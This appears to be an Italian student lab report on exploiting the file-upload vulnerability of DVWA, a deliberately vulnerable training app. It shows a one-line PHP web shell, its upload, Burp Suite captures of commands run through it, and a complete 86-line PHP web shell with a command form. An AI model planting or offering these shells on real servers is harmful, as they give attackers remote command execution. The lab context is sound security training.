



CONSEGNA S6/L1

di Giuseppe Lupoi

Di seguito gli screen del **codice php**
utilizzato ed il suo caricamento nel browser
su **DVWA**

```
1 <?php system($_REQUEST["cmd"]); ?>
```

Vulnerability: File Upload

The PHP module **GD** is not installed.

Choose an image to upload:

shell.php

Vulnerability: File Upload

The PHP module **GD** is not installed.

Choose an image to upload:

No file selected.

../../../../hackable/uploads/shell.php succesfully uploaded!

Di seguito vediamo come grazie al caricamento della shell su DVWA riusciremo a dare dei comandi come se fossimo sul terminale dell'host

```
192.168.50.101/dvwa/hackable/uploads/shell1.php?cmd=ls
```

| | Pretty | Raw | Hex |
|----|--|-----|-----|
| 1 | POST /dvwa/hackable/uploads/shell1.php HTTP/1.1 | | |
| 2 | Host: 192.168.50.101 | | |
| 3 | Upgrade-Insecure-Requests: 1 | | |
| 4 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit | | |
| 5 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, =0.7 | | |
| 6 | Accept-Encoding: gzip, deflate, br | | |
| 7 | Accept-Language: en-US,en;q=0.9 | | |
| 8 | Cookie: security=low; PHPSESSID=bda872abc0b9e574f40d0e4e1050d2bf | | |
| 9 | Connection: close | | |
| 10 | Content-Type: application/x-www-form-urlencoded | | |
| 11 | Content-Length: 6 | | |
| 12 | | | |
| 13 | cmd=ls | | |

E come intercettando le richieste con BurpSuite riusciremo ad avere informazioni sul server

| Request | | | | | Response | | | | |
|---------|---|-----|--|--|----------|-------------------------------------|-----|--------|--|
| Pretty | Raw | Hex | | | Pretty | Raw | Hex | Render | |
| 1 | GET /dvwa/hackable/uploads/shell1.php?cmd=ls HTTP/1.1 | | | | 1 | HTTP/1.1 200 OK | | | |
| 2 | Host: 192.168.50.101 | | | | 2 | Date: Wed, 10 Jan 2024 18:42:41 GMT | | | |
| 3 | Cache-Control: max-age=0 | | | | 3 | Server: Apache/2.2.8 (Ubuntu) DAV/2 | | | |
| 4 | Upgrade-Insecure-Requests: 1 | | | | 4 | X-Powered-By: PHP/5.2.4-2ubuntu5.10 | | | |
| 5 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36 | | | | 5 | Connection: close | | | |
| 6 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 | | | | 6 | Content-Type: text/html | | | |
| 7 | Accept-Encoding: gzip, deflate, br | | | | 7 | Content-Length: 63 | | | |
| 8 | Accept-Language: en-US,en;q=0.9 | | | | 8 | | | | |
| 9 | Cookie: security=low; PHPSESSID=f9cb30673a865b8ac86c44e7dda7d4f4 | | | | 9 | PEPPINO.php | | | |
| 10 | Connection: close | | | | 10 | dvwa_email.png | | | |
| | | | | | 11 | pino | | | |
| | | | | | 12 | shell.php | | | |
| | | | | | 13 | shell.txt | | | |
| | | | | | 14 | shell1.php | | | |
| | | | | | 15 | | | | |

Curiosando sul web mi sono imbattuto in un codice php per una shell un pò più user friendly, ecco il codice

Parte 1

```
1 <?php
2 if (!empty($_POST['cmd'])) {
3     $cmd = shell_exec($_POST['cmd']);
4 }
5 ?>
6 <!DOCTYPE html>
7 <html lang="en">
8 <head>
9     <meta charset="utf-8">
10    <meta http-equiv="X-UA-Compatible" content="IE=edge">
11    <meta name="viewport" content="width=device-width, initial-scale=1">
12    <title>Web Shell</title>
13    <style>
14        * {
15            -webkit-box-sizing: border-box;
16            box-sizing: border-box;
17        }
18        body {
19            font-family: sans-serif;
20            color: rgba(0, 0, 0, .75);
21        }
22        main {
23            margin: auto;
24            max-width: 850px;
25        }
26        pre,
27        input,
28        button {
29            padding: 10px;
30            border-radius: 5px;
```

Parte 2

```
31         background-color: #efefef;
32     }
33     label {
34         display: block;
35     }
36     input {
37         width: 100%;
38         background-color: #efefef;
39         border: 2px solid transparent;
40     }
41     input:focus {
42         outline: none;
43         background: transparent;
44         border: 2px solid #e6e6e6;
45     }
46     button {
47         border: none;
48         cursor: pointer;
49         margin-left: 5px;
50     }
51     button:hover {
52         background-color: #e6e6e6;
53     }
54     .form-group {
55         display: -webkit-box;
56         display: -ms-flexbox;
57         display: flex;
58         padding: 15px 0;
59     }
60 </style>
```

Parte 3

```
61 </head>
62 <body>
63     <main>
64         <h1>Web Shell</h1>
65         <h2>Execute a command</h2>
66
67         <form method="post">
68             <label for="cmd"><strong>Command</strong></label>
69             <div class="form-group">
70                 <input type="text" name="cmd" id="cmd" value="<?= htmlspecialchars($_POST['cmd'], ENT_QUOTES, 'UTF-8') ?>"
71                     onfocus="this.setSelectionRange(this.value.length, this.value.length);" autofocus required>
72                 <button type="submit">Execute</button>
73             </div>
74         </form>
75
76         <?php if ($_SERVER['REQUEST_METHOD'] === 'POST'): ?>
77             <h2>Output</h2>
78             <?php if (isset($cmd)): ?>
79                 <pre><?= htmlspecialchars($cmd, ENT_QUOTES, 'UTF-8') ?></pre>
80             <?php else: ?>
81                 <pre><small>No result.</small></pre>
82             <?php endif; ?>
83         <?php endif; ?>
84     </main>
85 </body>
86 </html>
```

La sua grafica lato browser

Web Shell

Execute a command

Command

Execute